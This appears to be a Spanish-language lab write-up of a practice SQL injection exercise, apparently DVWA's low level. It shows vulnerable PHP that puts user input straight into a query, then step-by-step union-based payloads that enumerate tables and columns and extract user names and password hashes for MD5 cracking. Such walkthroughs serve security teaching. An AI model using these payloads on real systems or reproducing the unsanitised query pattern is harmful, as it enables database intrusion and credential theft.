Inyección SQL
interfaz
Código fuente
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {
$id}<br />First name: {
$first}<br />Surname: {
$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
Análisis de código
Después de que el usuario hace clic en enviar, el usuario obtiene la identificación ingresada por el usuario y luego imprime el nombre y apellido correspondientes. Se puede ver que la identificación ingresada por el usuario no se juzga legalmente, lo que puede causar fácilmente una inyección de SQL.
Paso de infiltración
Paso 1: Ingrese 1 para ver los resultados.
Paso 2: Ingrese 1‘ or ‘1’=’1
y vea los resultados. Puede ver que tiene todos los datos de identificación en la base de datos, para que sepa que efectivamente existe una vulnerabilidad SQL.
Paso 3: Adivine el campo de la biblioteca actual por orden por. Entrada 1' or 1=1 order by 1 #
, el resultado de entrada es normal
Paso 4: Adivina el campo de la base de datos actual por orden por, entrada 1' or 1=1 order by 2 #
, el resultado de entrada es normal
Paso 5: Entrada 1' or 1=1 order by 3 #
, el resultado de entrada es anormal, la base de datos actual tiene solo dos campos, a saber, Nombre y Apellido
Paso 6: Ingrese 1' union select 1,2
, puede ver que hay 1, 2 en la segunda columna de datos, puede modificar el valor de 1, 2 para obtener los datos que quiero.
Paso 7: Pruebe la conjetura anterior, ingrese para 1' union select database(),version()#
obtener el nombre de la base de datos actual y la versión de la base de datos, Verifique los resultados para confirmar que puede usar union select para obtener los datos deseados.
Paso 8: Ingrese el 1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
nombre de la tabla en la base de datos.
Paso 9: Decodifique el código hexadecimal obtenido para obtener el nombre real de la tabla: libro de visitas, usuarios. Solo dos tablas.
Paso 10: Ingrese y 1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users' #
vea los nombres de los campos en la tabla de usuarios
. Once pasos: ingrese 1' union select first_name,password from users#
y consulte el nombre de usuario y la contraseña.
Paso 12: use la herramienta de descifrado md5 para descifrar la contraseña obtenida, y podrá ver que el resultado es correcto
Problemas encontrados
1. ¿Por qué se usa la función hexadecimal en los pasos octavo y décimo?
Solución: Si no se usa la función hexadecimal, se informará un error. Esto se debe al problema causado por la codificación.
Imagen de error:
2. Cómo determinar que la base de datos utiliza el
método de cifrado md5 .: Supongo, buena suerte